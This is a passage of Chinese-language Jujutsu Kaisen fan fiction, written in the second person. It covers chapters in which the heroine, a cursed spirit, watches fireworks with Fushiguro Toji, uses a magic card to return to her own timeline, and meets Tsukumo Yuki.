“真是越想越气。”五条悟盯着走在前面的两人,咔嚓一下咬碎了嘴里的金平糖,“杰,我们找个地方把那家伙打一顿吧!他砍我那么多刀,我都还没有还回去呢。”
“我是没问题,葵估计不会让你有这个机会。”
“你把她支开不就行了。”
夏油杰瞥了自己的挚友一眼,“那你得找个没人的地方,现在这里目标太大了。”
半小时后。
“我们打一架吧!”
相比于气势汹汹的五条悟,伏黑甚尔显得相当随意,“不行,这身衣服要是弄脏了,她会生气的。”
“那就把衣服脱了再打。”
“我可没有在男人面前脱衣服的习惯。再不回去,她要担心了。”
伏黑甚尔双手拢着袖子,转身往回走。五条悟没有阻拦他。
伏黑甚尔很快就看到了三叶葵,或者说,加贺见立夏。她背对着他,坐在一条长椅上,和身边的夏油杰说话。
“……大家都还好好的,真是太好了。”
“嗯,我已经发邮件告诉理子了,她知道你没事,一定很高兴。”
“接下来有什么打算呢,葵?”夏油杰注意到了身后的伏黑甚尔,他装作若无其事地继续问道,“真的要一直待在伏黑甚尔身边吗?”
“虽然我真的很想这样,但似乎没有多少时间了。”
“……什么意思?”
加贺见立夏伸出手,露出袖子里叮当响的手铐,“这个咒具虽然暂时抑制住了咒力的暴动,但我能感觉到那家伙的意识一直想要挣脱,一旦被它找到机会,就再也来不及了。”
“那家伙是?”
“是我还是人类时就寄生在我身上的咒灵,这么多年,它一直想要吞噬我,差一点就成功了。所以,必须要趁现在把这件事完全解决掉。”
“可你现在已经不是人类了,如果把它祓除,你会怎样呢?”
加贺见立夏沉默了一下,“所以说没有多少时间啦。”
“这件事,你有告诉伏黑甚尔吗?”
“不行的啦,我已经够让他担心的了。”
加贺见立夏苦恼地搓了搓脸,“杰,要帮我保密哦。”
*
“烟花是不是快开始了?他们怎么还没有回来?”看着人越来越多的街道,你有些坐不住了。
你就知道去买纪念品什么的肯定是骗人的,都已经过去二十分钟了,真的没有打起来吗?
肩头突然按上一只手,你被吓了一跳,听到头顶上传来伏黑甚尔的声音,“别动。”
盘好的发被动了动,你等他弄完才伸手去摸,只能感觉到是花的形状。你站起来朝他笑,“是什么样子的发簪,至少先给我看一眼嘛。”
“好看不就行了。”他旁若无人地握住你的手,牵着你往前,“去看烟花吧。”
“悟和杰呢?”你才发现夏油杰不见了,五条悟也没有回来。
“大概是觉得自己碍事,先回去了吧。”
“甚尔。”你无奈地喊他。
“他们两个去接高专的同学了,不跟我们一起。”
“哦。”
其实是接到通知说品川出现了一级咒灵所以不得不连夜赶过去的二人,在路上狠狠地打了两个喷嚏。
“全东京没有别的咒术师了吗?整个七月份全是我们两个——”
“别这么说嘛,毕竟我们可是最强啊。”
抵达河边时,第一束烟花恰好在对岸绽放。你紧握着伏黑甚尔的手,和他一起站在人群里。
璀璨盛大的烟火将夜空瞬间点亮,又在下一瞬沉入黑暗,金色的光束连成一片灿烂的花海,一簇簇填补着上一束的空缺,让这短暂的绚烂尽可能的长久。
此起彼伏的欢呼中,你听到他很轻地喊了你的名字。你转过头,他俯身亲吻了你的眼睛。
再睁眼时,你看到了倒映在他眼中的花火,比这个夜晚所有的加起来还要动人。
“你要专心一点呀。”
加贺见立夏在他退开后笑弯了眉眼,伏黑甚尔将她拉到怀里,于是她心安理得地靠在了他身上。
很多很多年前的那个夜晚,为什么没有这样做呢?
那个时候加贺见立夏拉着他往河堤跑,他不明白为什么一定要挤在人群里,她笑着说这样才有氛围。
等烟花升起来的时候,她立刻就忘了他,和其他吵吵嚷嚷的人一起欢欣鼓舞,结束之后也依依不舍,跟他说明年要再来看一次。
“甚尔,我们回去吧。”
伏黑甚尔低下头,加贺见立夏抬手轻轻触摸着他的脸,眼中是温柔的光。
“不再多看一会吗?”她应该很喜欢。
“已经足够了。”
“好。”
伏黑甚尔握住加贺见立夏的手,牵着她从喧闹的人群中穿过,回到只属于他们的夜晚。
*
你在第二天见到了真人。
他当时正在伏黑家的厨房里做饭,身上围着围裙,往常的三股辫子在脑后简单的扎成一束。你看着他熟练地起锅翻炒,把菜都装进一个盘子里,摆得整整齐齐。
然后他看到了你。那张脸上瞬间露出了超委屈的表情,两行泪水从他的眼睛里流出来。
“葵——”真人放下锅,朝你飞扑过来,在半空中被伏黑甚尔抓住了衣领。
“葵!”真人徒劳地划了两下手臂,伏黑甚尔松开手,他啪的摔在了地上。
“葵,这个人类欺负我!”
“……他让你干什么了?”
“他逼我每天打扫卫生洗衣做饭!还要带孩子!”真人毫无形象地坐在地上,控诉着伏黑甚尔的恶行。
“原来是这样,辛苦你了。”你忍着笑,摸了摸他的头。
伏黑甚尔立刻拉开了你,“不用管他。”
“葵,你该不会,该不会和这个人——”
真人盯着你们握在一起的手,眼泪汪汪地看着你。
“差不多是你想的那样啦。”你在口袋里摸了摸,发现还有一颗糖果,就递了过去,“不会丢下你的,所以不要哭哦。”
真人接过那颗糖,眼泪夺眶而出。伏黑甚尔啧了声,拉着你走开了,你回过头,看到一旁的惠抓着纸巾走了过去。
“他们似乎相处得不错?”
“大概吧。”
*
打开推拉门的瞬间,裹挟着浓郁甜香的夏风扑面而来,这样的温度对人类而言或许有些炎热,对咒灵来说却是刚刚好。你跟着他来到阳台上,看见了满架盛放的蔷薇。
你轻轻触碰着那些柔软的花瓣
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,转身握住伏黑甚尔的手,微笑着看着他,“你是从什么时候开始养花的呢?”
“惠……出生之前。”
“她是一个什么样的人?”
伏黑甚尔沉默着,你走近一步,直视着他的眼睛,“这样很不公平啊,甚尔。你那天在这里,不是也问了我很多问题吗?”
“她……”
伏黑甚尔看起来有些痛苦,你紧紧抓着他的手,不让他有任何逃避的机会。
“她和你完全不一样。”
“那么,她一定很温柔。”
伏黑甚尔没有说话,那双绿色的眼睛回望着你。
“我和她一样爱你。”
他怔住了。
“对不起。”你看着这张在你的人生中占据了太多的面容,“甚尔,我希望你也能爱自己。”
“为什么要跟我说这些?”
“因为不想看到你难过的样子。”你抬起手,在他嘴角的伤疤上轻轻点了一下,“我想要你幸福啊。”
他像是被这句话刺痛了,用力攥住了你的手腕,眼睛里盛满了悲伤亦或怒气,又迅速归于沉寂。
你以为他要说什么,但他只是看着你。
“真是拿你没办法啊。”
看他的反应,你隐约猜到了一些,用另一只手拽住他的衣领,让他低下头,垫脚亲上了他的嘴唇。
比起上一次在这里,空气变得闷热,你可能压坏了一些蔷薇,它们散发出更加浓烈的香气,让你的精神都变得恍惚。
他咬破了你的嘴唇,那些尖锐的疼痛唤醒了你,你抱着他的脖子,用同等的力道回赠。
*
好丢脸啊,竟然晕过去了。
这是你醒来后的第一反应。
你承认这件事有你故意纵容的成分在,但你没有想到后果会这么严重。
天已经亮了,伏黑甚尔不在你身边,这栋房子里只有你自己,于是你像往常一样收拾好了自己,出门前给他留了一张纸条。
你要去的地方不是很远,只隔着一个街区。你远远地看见了那家咖啡店,和坐在窗边的阿卡罗。
他今天没有穿女装,总算是你熟悉的模样,只是五官比少年时期更俊朗。他原本在慢慢地抿咖啡,看到你之后,直接呛得咳出来。
“你没事吧?”
你象征性地拍了拍他。
他边咳边颤抖,想要说话又说不出来,憋得满脸通红,还引来了店员。好在他在一通惊天动地的咳嗽后终于缓过了气,然后用一种一言难尽的目光看着你。
“你们这也……太激烈了吧。”
他在脖子上比划了一下。
你一开始没明白他的意思,摸了摸自己的脖子才猛然意识到了,整张脸从耳根开始发烫,“抱歉,你知道我照不了镜子,所以不知道具体哪里有……”
阿卡罗迅速从包里抽出了一条女士丝巾递给你,你感激地围上了,按照他的提示把露出来的部分全都挡住。
早知道你就不该穿裙子出门,应该穿长袖长裤的。
等你把手放到桌上,他的目光又呆滞了一瞬,你不得不跟他解释,“这是咒具。”
“我懂。”阿卡罗微笑点头。
“这是咒具,不是……情.趣。”你手上被伏黑甚尔捏出来的印子还留在那里,这让你的话显得很没有说服力。
“嗯,我明白了。”阿卡罗点点头,喝了口咖啡,“做的时候爽吗?”
“……没做过。”你面无表情地看着他。
“没……那他一般用什么……”阿卡罗迟疑地看了看你。
“收起你脑子里那些乱七八糟的想法,我们还没到那一步。”
阿卡罗不以为然地笑了一下,指了指你的脖子,“不会有人到这一步还能忍住的,除非他有问题。”
“闭嘴!谈正事吧!”你用力捶了下桌子,结果脑子里面一直在想甚尔他会不会真的有问题。可恶的阿卡罗!
“咳咳。”
阿卡罗清了清嗓子,你等着他说话,他却从口袋里拿出了一张卡片给你,示意你自己看。
19. 第十夜
这是一张扑克牌大小的卡片,外面套着半透明的壳,从手感上无法确定材质,卡面上画着一地碎玻璃,最上面写着四个字,[破镜重圆],底下有一小段话。
[可以将一切拨回正轨的镜子碎片,感情、物品、错乱的时空……随你喜好。切记,使用对象唯有同样破碎之物。]
“这是什么?”你拿着卡片左右看看,拨弄了一下卡套的缝隙。
“等一下,这个卡套现在绝对不能打开。”阿卡罗阻止了你的动作,“这是贪婪之岛的卡片。”
“贪婪之岛?”
这个取名风格……你的脑中电光火石地闪过一本漂浮在空中的砖头书。
这是什么时候的记忆?
“是一群念能力者开发的游戏,这个是我专门找他们做的限定游戏卡,全世界仅此一张。”
阿卡罗的目光里透着浓浓的艳羡,看来他很喜欢那个游戏。
你已经有段时间没听人说过念的事,两个世界的世界壁似乎非常牢固,那个世界偶尔还有一些人能看见咒灵,这里却没有一个人可以开发出念。
而且,你的念也在回到这里的过程中消失了。不过,你认为它最可能在身体意识那里,她可能也被卷入了时空隧道。
“在这里要怎么使用它?”
“你看到的那个卡套,是用一种很珍惜的材料做成的,可以最大限度的隔绝不同世界之间的斥力。”
“类似咒力在那边会被压制?”你想起了真人当时的情况。
“没错。我好不容易才搜集到的,真的非常珍贵,你一定要小心。”
阿卡罗一脸肉疼地看着被你在桌上轻轻敲打的卡片,你默默停下了手上的动作。
“使用条件有两个。”阿卡罗伸出一根手指,“一,要找一个完全无咒力的人,由他亲手打开这张卡片。”
你点点头,其实心里已经开始感到大事不妙了。完全无咒力的情况,属于极致的天与咒缚,这种人全世界也找不出第二个,你恰好认识,就是伏黑甚尔。
阿卡罗伸出第二根手指,“二,按照卡片上说明的,你需要处于破碎态。”
“是字面意思吗?”
“是的。”阿卡罗一脸凝重,“所以卡片使用的时机很重要,太迟的话,你可能会当场死亡。”
不知道是不是太紧张的缘故,你的胃隐隐抽搐,你一只手捂着肚子,努力控制着自己的表情,“第一个条件,可以换成别的吗?”
“可以,你需要构建一个完全无咒力的空间,能把你整个包进去的那种,只有在这种情况下,这张卡片上附着的念才能真正的发挥作用。”
“等等。”你发现了一个问题,“为什么之前的条件不需要我处于无咒力的空间?而且,我自身就是咒灵,怎样都不可能做到完全无咒力。”
阿卡罗对这个问题显然早有准备,“那个空间所起的作用类似这张卡套,目的是把你和这个世界的意志隔开。而第一种情况之所以不需要这样做,是因为如果这个世界上存在着一个天生0咒力的人,那他一定深受世界意志的喜爱,这种人在小说里通常叫做,嗯,气运之子。他想完成的事,世界意志一定会帮忙。”
气运之子。你觉得按伏黑甚尔的运气来看,他如果真的是世界意志的宠儿,那这个世界的意志未免太过残忍。
“同理,如果你能找到一个气运之子同时帮你达成第二个条件,那么这件事成功的几率会大大增加。”
“好吧,我再考虑一下。”你拿起桌上的卡片,站了起来。
“等你考虑好了记得提前联系我,好歹朋友一场,我来为你送行。”阿卡罗的语气听着像是你必死无疑。
你心情沉重地走出了咖啡店,和一个人擦身而过。你回过头,看到那个发色深蓝的青年径直走向了阿卡罗那桌,在你刚刚坐过的位置坐了下来,阿卡罗立刻兴高采烈地喊店员拿来了菜单。
好家伙,一桌两用。还好你没有什么疾病,不然一定会当场气晕。可恶的阿卡罗!
你目前的身体依然脆弱,所以你全程混在人堆里,乖乖地过马路,走人行道。尽管如此,你还是迎面撞上了一根电线杆。不过你并没有完全撞上去,因为有一只手隔开了你。
你直直地撞上温热的掌心,愣了一下,发现伏黑甚尔站在你身旁。
“你怎么来啦?”
你开心地笑起来,每当你看到他,那些烦恼的事都会暂时性的被你抛在脑后。这一次,你决定把那些事忘得更久一些。
伏黑甚尔看着你脖子上的丝巾,你迅速整理了一下,“朋友借我的,你下次至少在我出门前提醒我一下嘛。”
“好。”伏黑甚尔低头帮你理了理丝巾,你感觉他的手指触碰到了脖子,脸上又开始发烫了。
然后他握住了你的手,他的手掌很大,能把你的完全包住,他轻轻捏着你的手,皱了皱眉,“怎么这么冰?”
“可能是刚刚店里面的空调温度太低了吧。”你有些贪恋他身上的温度,夏天很热,但他的体温只会让你觉得温暖。
他把你的另一只手也拉起来握住了,你站在原地看着他认真地给你暖手,忍不住向前一步,把手从他的掌心收回,紧紧地抱住了他。
“怎么了?”他搂住你的腰,手掌在你的脑后轻轻摸了摸,你贴着他的胸膛,听着他沉稳的心跳,想要让这一瞬间无限期地延长。
或许,这种想法其实早就出现了。
你抑制住想哭的冲动,抬头看他,他的呼吸急促了两下,无可奈何地收紧手臂把你抱起来,“回去吧。”
*
关于阿卡罗说的两个条件,你已经有了大致的思路。
在不告诉甚尔的前提下,想要达成条件一,全日本可能只有天元那边能办到,所以你还是需要去一趟薨星宫。
至于条件二,你综合各方面进行筛选,觉得最符合“气运之子”特征的人是五条悟,他浑身上下都写着“嚣张”两个字,外貌、天资和身份背景也都得天独厚。
五条悟和夏油杰应该不会拒绝帮你。但你同样要想办法支开甚尔。
或者,干脆对他和盘托出吗?这个想法只冒出来一瞬间就被你压下去。太残忍了,好像不管你怎么选择,都会伤害到他。
你苦恼了一下午,不知道是不是这
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些也影响到了你的身体状况,你的手脚持续性发凉,肚子疼也没有消停过。
伏黑甚尔察觉到了你的不对劲,你安慰他说没关系,你不是头一回表现出和其他咒灵不一样的地方了。于是一整个下午,你都缩在他怀里,被他温暖着。
“天都快黑了……你饿不饿,我给你做点吃的吧?”
“身体还难受吗?”他的手在你的额头和腹部都探了探。
“好多啦。”你笑嘻嘻的从他怀里爬起来,挪到床边穿鞋子,“等我一会哦。”
他跟在了你身后。
你接了点凉水洗了洗脸,拿毛巾的时候不小心撞到他身上,有些不好意思。他就着这个姿势半拥着你,用梳子梳拢你的头发,熟练地编好了发辫。
“谢谢。”你转身笑。
之后他又跟着你到了厨房。你看他一副不打算离开的样子,就让他帮你打下手,洗菜切菜之类的。
“你什么时候学会的这些?”
“在村子里,有个很照顾我的大叔厨艺相当不错,让我继承他的衣钵。”你光是回想起最开始跟着山姆大叔学习时鸡飞狗跳的日常,就忍不住想笑,“那个时候我才发现,其实我很有天赋呢。”
那段日子一定很美好,才会让她在回忆时露出这样真实、快乐的笑容。
在伏黑甚尔的记忆中,加贺见立夏很少会有这样的时刻,她总是一个人承受着很多东西,他想要帮她分担,可她不愿意。
“好吃吗?”
“你很厉害。”伏黑甚尔直截了当的夸赞让你有些脸红。你看着递到嘴边的勺子,犹豫了一下还是张嘴接了。
“好啦,你自己吃嘛,咒灵不需要食物的。”你托着脸,把盘子往他那边推了推。
好像没有退路了。
你看着低头吃饭的伏黑甚尔,想起刚刚阿卡罗发来的邮件,他说你的身体状况可能是接触到卡片后,世界意志产生的斥力造成的。这件事迟早会发生,因为你不属于这个时间。而卡片的到来,只是加速了排异的进程。
不该犹豫的。
是葵的生活影响了你吗?身为加贺见立夏时,你从来都很果断。
“甚尔,我可以和你上.床吗?”
伏黑甚尔瞬间被呛到,你赶紧给他倒了杯水,他又一次露出那副见了鬼的表情,这让你有点尴尬,捂着发烫的脸搓了搓,“不行就不行嘛,为什么看起来这么嫌弃啊。”
“没有。”
你从指缝里露出眼睛看他。
他叹了口气,走到你身边。
天花板是昏暗的,外界的光透过半合的窗帘投进房间,像一场虚幻绮丽的梦境,他的温度又过于真实。
盛夏的晚风从窗口灌进来。
没有人来打扰你们,也没有任何事可以打扰到你们,这样很好,你有足够的时间和他相互靠近,相互了解。
“你真的变了好多。”你眨着湿漉漉的眼睛,看着他的脸。
“是吗。你在我眼中,和以前一样。”
“……是什么样的?”你看着他的眼睛,情不自禁地回问。
“是我喜欢的样子。”
20. 第十一夜
你看着甚尔熟睡的脸,俯身在他的唇上亲了亲。破碎态一定很难看,还是不要让他看见了。
你最后看了看他,裹好外套走出去。
五条悟和夏油杰已经等在了高专的山麓,距离你们约定的时间还有一会,可以不慌不忙地沿着台阶走上去。
“你看起来很不好,一定要选在今天吗?”夏油杰担忧地看着你。
“整个人都快冻成冰棍了,难怪裹得这么严实。”五条悟飞快地捏了一下你的手,皱起了眉。
事实上你穿再多也还是冷,你的身体像是和这个世界隔绝了,自己产生不了热量,外界的温度也进不来。只有伏黑甚尔在你身上留下的温度是真实的,但它也很快消散了。
“没办法,再等一天可能动都动不了啦,到时候你们就可以等着祓除它了。”
“你确定用那种方法可以回到正确的时间线吗?”
“理论上是这样,具体的还没有人试过。”你走得很累,因为昨天的事,两条腿都在打颤,不得不停下来喘气。
高专的结界没有识别出你身上被压制到普通人水平的咒力,你们穿过了鸟居,面前的广场在一个多月前还是一片废墟,现在被修葺得焕然一新。
“你的体质也太弱了,上来。”五条悟在你面前弯下腰,你有些惊讶,他扭头看你,“快点,你还在犹豫什么,天内都没有这个待遇。”
“就让悟背着你吧,距离薨星宫还有很长一段路。”
于是你趴到了五条悟的背上。
他真的完全不会背人,要不是你紧紧勒住了他的脖子,可能会在半路就被他甩下去,结果他还说自己快被你勒得喘不过气了,要换人。
后半程换成夏油杰背你,体验感就要好很多。你想着,按照自己和他们的交情,世界意志待会会不会稍微放个水,让你顺利一点完成计划呢?
天元所在的地方被一层特殊的结界笼罩,因此没有守卫,你们在通道外的平台上停下。再次看到那棵缠绕着绳结的古树,依然感觉很震撼。
“你们就在这里等我吧。”
“快点出来,别死在里面了。”
你沿着楼梯走下去,古树外围环绕着一圈圈空置的竹楼,除了你的脚步声以外,没有任何别的动静,就像一座巨大的坟墓。
你一直走到了那棵树的底下。
不被天元允许的人是无法进入结界的。你没有感觉到任何阻拦,显然,天元认出了你。
“好久不见,天元。”
“你来到这里,想要做什么呢,三叶?”
三叶是那只咒灵的名字,你接收了咒灵的记忆,也一并继承了它的名字。
你看着面前的天元,他的模样和五百年前的那位星浆体很相似,但因为不死术式,外貌上已经出现了非人的异化。
“你能看出来吧,我的躯体快崩溃了。”
“是的,接下来你就要再等五百年,去找下一位宿主。”
“不会有下一个宿主了。”你没有看到凳子,干脆坐到了地上,“就像你,你也等不到下一个星浆体。”
天元打量了你一会,“原来如此,意识竟然被一个小丫头反过来吞噬了吗,真是没用啊,三叶。”
“你这么说,它很难过哦。”你笑了笑,“不过我的意识也不剩多少了,怎么样,要帮我一把吗?”
虽说你有八成把握天元会同意帮你,但你也做好了被他拒绝的准备。那样的话,你就要在薨星宫里跟他耗到死,一旦你的意识消失,属于三叶的那部分就会去吞噬他。天元已经活了这么久,不会想要这种死法的。
不过,你其实没有时间跟天元耗。过一会,伏黑甚尔就会发现你不见了,按照他的性格,肯定没办法接受你写在纸上的那几句道别。被他找上门,就意味着你的计划已经失败了。
好在天元不知道你有这层顾虑。他同意在薨星宫内部做一个结界。你走出去让等在外面的五条悟和夏油杰都过来,你们一起回到了薨星宫。
你需要的那种结界对施术者的要求很苛刻,即使是天元,也只能支撑很短的一瞬间。而在这一瞬间,你需要五条悟用[赫]将你和那张[破镜重圆]卡一起打碎。你认为这样就算同时满足了阿卡罗所说的两个条件。只不过,卡套是注定无法回收了。
“你可千万不要手抖啊。”
你看着五条悟,因为他告诉你自己才刚学会[赫]不久。
“我跟他说说话吧。”夏油杰按着五条悟的肩膀把他拉到了旁边。
*
你在等待的时间里一直坐在地上,手里旋转着那张决定生死的卡片。
如果死亡只是推开一扇门,其实它没有多可怕。你已经去过那里一回了,失败的话,无非是把那条路再走一遍。
但你不想放走三叶。你花了太长的时间与它缠斗,从作为立夏活着时到成为葵,再到变成咒灵,这个诅咒始终跟随着你。它想要吞噬你的躯体和意识,并且已经成功了一半。如果这一次它失败了,还可以去找下一个宿主,你却没有多一次的人生了。
这场战斗中,你决不能成为输家,就算是死,你也要拉着它一起下地狱。
“准备好了吗?”
在场唯一一个没有被赋予艰巨任务的夏油杰朝你伸出手,你握着他的手站起来。
“随时都可以。”
你很想轻松地笑笑,但是发现自己在这种时刻完全调动不了面部肌肉,只好牵了牵嘴角。
你闭上眼,朝着天元指定的位置走去,一路上轻哼着在村子里学会的小调,回想着那段不可多得的时光,渐渐的轻松很多,你拿起那张卡片放在心口,站定后看着十米外的五条悟。
五条悟没有戴墨镜,你清楚地看到了那双天空般澄澈的眼睛,那双眼睛名为[六眼],可以看穿一切。
[开始吧。]
你朝他做出口型。
短暂的一瞬间,你看到了暗红色的光,那道光的速度非常快,但很奇怪的是,投射到你眼中的速度慢得像延时播放的录影。
你看到它从五条悟的指尖发出,在空气中铺展开致命的光线,向你笼罩而来。十米并没有多长,或许并不需要一瞬间,你顷刻被它吞没。
下一瞬,你被裹挟着狠狠撞上了薨星宫的墙壁。内脏在巨大的冲力下挤压成一团,但身体外部没有受到任何伤害,就连被你抓在手里的卡片,也都完好无损。
你抬起头,对上了伏黑甚尔垂落的目光。
“你……怎么来啦?”
你一时间不知道该哭还是该笑。你被他牢牢地护在怀里,他用身体帮你挡住了[赫],靠着崩裂的墙壁,垂着头看你。
“你有没有事啊?”你还是哭出来了,你急切地想从他的怀里爬出来看看他的情况,被他紧紧箍住了身体,动弹不得。
你只好伸手去摸他的脸,他直接张嘴咬住了你的手指,像是发泄一般,牙齿陷进你的肉里用力摩擦,你忍着痛任由他这样咬着你。
“葵,你没事吧?”夏油杰跑了过来。
伏黑甚尔抱着你站起来,松开了牙齿,但还是没有跟你说话,也没有搭理其他人,径直往薨星宫外面走。
“等等,甚尔,还有些事……”
你的头被他按下去,堵在他结实的胸口,这下一句话也说不出来了。
在伏黑甚尔拒绝交流的这段时间,你回忆了一下刚刚发生的事,发现自己可能真的差一点就没命了。
天元那家伙事到临头居然反悔,他刚刚绝对没有开结界,他是打算让你和三叶一起被五条悟的术式祓除,真是太可恶了。
想明白这点后,你开始头疼眼下的另一件事。你们已经出了高专,正往山下走,接下来很长的一段路都是没有人烟的树林。坐以待毙不是办法,你小心地挪动了一下,搂着伏黑甚尔的脖子,仰头亲了亲他的喉结。
“……你在做什么?”
谢天谢地,他终于肯说话了。
你没有解释,继续抱着他的脖子啃。这种事果然需要天赋,你感觉自己就不太行,而且甚尔的身体和一般人不一样,你努力了好一会,也没能在上面留下印子。这让你有些沮丧。
不过你很快就重新振作起来,大胆地坐在他的手臂上,凑过去亲他的嘴唇。
他的嘴唇很软,嘴角的伤疤处有些凹凸不平,接吻的时候感觉会变得明显,你学着他之前对你做过的那些去舔舐他的唇瓣,他的呼吸终于不那么平稳,停下脚步把你抵在了一棵树上。
他直接用实际行动告诉你,你刚刚的表现有多烂。等他退开的时候,你的眼睛有些潮湿,你想跟他说对不起,又觉得这句话的形式大于意义本身。
“为什么不跟我说?”
他抵着你的额头,恶狠狠地瞪着你。
“因为……我不想让你看到我死掉的样子。”你的眼眶一阵发热,很快那些泪水就在眼睛里打转。太丢脸了,你拼命的想把它们憋回
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去。
“但是我想陪着你。”他抬手抹掉了你的眼泪,指腹擦得你有点痛,“立夏,你不可以这么自私。不准再替我做决定。”
你想要反驳,但你很快就发现,你的确一直以来都是这样做的。
你总是自顾自的做决定,安排好所有的事,不会和任何人商量,也不需要和别人商量。你不可以依靠任何人,你必须习惯独自一人的时刻。
但是,甚尔是不一样的。你想要把最好的都给他,不论他想不想要,都要强迫他收下。这样的做法,真的对吗?你头一回产生了对自己的怀疑。
“可是,这样太残忍了。”
你光是想想,就觉得很痛苦。你不希望在自己消失后,每当他回想起这一切,脑中浮现的就是你支离破碎的样子。
“那是我说了才算的。你要做的是把一切都告诉我,不要隐瞒。”伏黑甚尔认真地看着你,“立夏,我希望你也能多相信我一点。”
“好。”你艰难地做出了让步,“但你要答应我,到那个时候,闭上眼睛,不要看我。”
比原定计划晚了一天。
伏黑甚尔把你带回去后,直接抱着你进了房间。接下来整整一天你都没能从床上爬起来。
你不需要食物,所以不需要停下来吃东西。伏黑甚尔的体力更是好到逆天,完全不用休息。
你有些分不清楚时间,窗帘拉拢之后,白天和黑夜似乎并没有区别。靠近下午时窗外下起了雨,你醒来时听到雨声,还以为是自己的幻觉。
回忆里似乎没有什么愉快的雨天,因为下雨的日子总是湿漉漉的,地板会潮,路上坑坑洼洼,屋檐下也一直滴水,哗哗啦啦。
不过你从来不用担心弄脏鞋子,因为禅院甚尔会背着你,轻轻松松地跃过路面上的水坑,等到了干燥的室内,再把你放下来,一直如此。
他独自出门时就要随意得多,有时候懒得带上雨具,头发被雨水打湿成一绺绺的,衣服也湿了大半。
其实他不会生病,但是你看到之后免不了担心,赶着他去换衣服,然后拿毛巾帮他擦头发,你很难怀疑这里没有他故意的成分。
你回忆着这些事,被他翻了个身,重新覆上来。
他握着你的手,掌心贴着你的手背。你们的心跳声重叠在一起。你已经感觉不到寒冷,伏黑甚尔的温度完完全全沾染着你,让你从内到外感到温暖。
雨停了。
你再次苏醒时仍被他抱在怀里,非常安心。但你很快就想起了接下来要做的事,凑到他嘴边亲了亲,他睁开眼看着你。
“甚尔,我们……”
“可以吃完早饭再走吗?”
“好。”
严格来说已经不是早上。你有些走不动路,被他抱在怀里,踩在他脚背上被他带着在厨房里走动。你从来没有跟人这样黏糊过,但你并不讨厌。
手上也没有力气,所以是他握着你的手做完了早饭。之后你们来到客厅,慢慢的把做好的东西都吃完了。
那张卡片安静地放在桌上,你伸手去拿,他按住了你的手。你们沉默地看着对方,大约过了一两分钟,他低头,拿起了卡片。
你把手伸过去,咒具挂在手腕上,叮叮当当的响,你露出一个很浅的笑容。他接住你的手,托在掌心很轻地捏了两下,然后握住了那个咒具。
“甚尔……”你等了一会,不得不喊他的名字。
他用力闭了闭眼,“要记得来找我。”
“我答应你。”
他的唇边浮现一丝苦笑,伸手揉了揉你的头发,靠近在你的额头上轻轻一吻,声音很低,“不可以食言。立夏,你答应我的所有事,都要做到。”
“好。”
他最后碰了碰你的嘴唇。
手腕一轻,被束缚的咒力瞬间沸腾,那根黑线被肆虐的黑雾撕扯成碎片,你猛地吐出了一口血。伏黑甚尔接住你摇摇欲坠的身体,捏碎了手中的卡片。
一些莹绿色的光点从伏黑甚尔的手中飞出,落在加贺见立夏的身上,他紧紧盯着那些细碎的光,它们像星辰闪烁,渐次消亡。
加贺见立夏仍在往外吐血,但很快,伏黑甚尔感觉怀里的身体变轻了。加贺见立夏扶着他的肩膀抬起头,用那双清澈的眼睛看着他,抬手去捂他的眼睛。
她沾血的嘴唇动了动,伏黑甚尔以为她要说些什么,但她的身体在这一刻变得虚幻,伏黑甚尔收拢手臂,只抓住了空气中飞舞的尘埃。
21. 一束烟花
你直接从半空中砸到了地上,溅起一片水花。冰凉的雨浇在身上,让你一度睁不开眼睛,所有的感官都在逐渐恢复,你听到很远处的动静,更近些的地方只有你自己的喘息。
你爬起来,抹了抹脸上的雨水,抬头朝四周望去。这是一条昏暗的小巷,墙壁斑驳,路面坑洼,头顶上方的天空很窄,压着灰色的积云。
你走到巷口,外面似乎是居民区,窗户大多关着,半拉的窗帘后透着橘黄色的灯光。
你穿过安静的街道,身边开始经过一些撑伞的行人,也有些人没有预料到这场大雨,把公文包顶在头上往回跑,公交站牌下汇聚着另一批等待回家的人,他们热闹地聊着天,或是站在雨幕前安静地发呆。
你成功了。你终于确认了这件事。
眼泪混在雨中流下来,你强迫自己不去想那些分别前的事。
你回到了属于你的正确的时间,状态也恢复成最开始和三叶势均力敌的时候。那些无序的线条将继续禁锢着黑雾,直到你们一同消亡的那天。
*
那张卡片比你预料中的还要有用,它不但帮你修复了代表着自身意识的线,还促进了你与三叶的意识融合,这代表着你可以在一定范围内自由使用咒灵的力量,而不会造成线的崩解。
如果你们的意识最终能完全融合,那么你将转化成完整的咒灵,再也不用担心自己死后三叶会逃离。
这让你由身到心的感到愉悦。
你给自己找了一把刀,用来解决路上遇见的咒灵。大多数咒灵都没有太高的智商,会在你看到它们的瞬间扑上来攻击你。如果你保持着三叶的本体,它们或许会因为本能地害怕而选择逃跑,但你更喜欢人类的形态,只有这样你才能时刻提醒自己不要掉以轻心。
你发现咒灵的数量比起你在06年遇到的多了很多。五条悟的出生打破了世界的平衡,世界意志衍生出更多的咒灵来恢复平衡,但此刻的五条悟尚未进入高专,夏油杰也是。他们两个作为特级咒术师,作用比你想象中还要大的多。
裹着咒力的刀锋从咒灵的躯体中穿过,将咒灵整个劈开,分成两半砸在地上。你用的是信长教你的方法,又快又能节省体力,还可以锻炼注意力和反应力,非常实用。
这是只一级咒灵,三叶想要吞噬它,但它长得太奇怪了,像一群黏在一起的大眼睛史莱姆,你不想吃掉这种东西,于是你又补了几刀送它上路。
耳边突然传来一声悠长的口哨,你握着刀转身,看到了一个站在机车旁的高大御姐,她摘下头盔,甩开一头金发,露出灿烂的笑容,“小姑娘,你喜欢什么类型的女人?”
你就这样认识了九十九由基,咒术界目前唯一的一名特级咒术师,致力于消灭全世界的咒灵。
你听到她的想法后就知道至少六年之内不会成功,可能永远也不会成功,但理想就是这种明知艰难也要义无反顾的去实现的事。
九十九由基对你产生了极大的兴趣,因为以前虽然也出现过人类死后变成咒灵的情况,但要么奇形怪状,要么只剩下一股执念,不会像你这样保留了作为人类时的大部分意识,还能正常地与人交流。
她表示你的情况给了她一些新的灵感,目前她想找一种方法让全人类的咒力消失,或者是让所有的非术师获得咒力,向术师转变。但如果能让咒灵拥有人类的意识,自我控制的话,从结果上看也不错。
你认为这些方法都不太靠谱,这个世界产生咒力是世界意志决定的,除非它改变想法,或者有另一团更强大的世界意志压制取代它。
同理,世界意志也不会允许所有人都成为咒术师,术师和咒灵此消彼长,才能达成平衡。
除了这件事以外,你发现自己和九十九由基有挺多共同话题,观念上也相似。你们一拍即合,找了家酒馆边喝边聊。当然,在外人看来就是一个金发美女独自坐在桌子前喝酒。
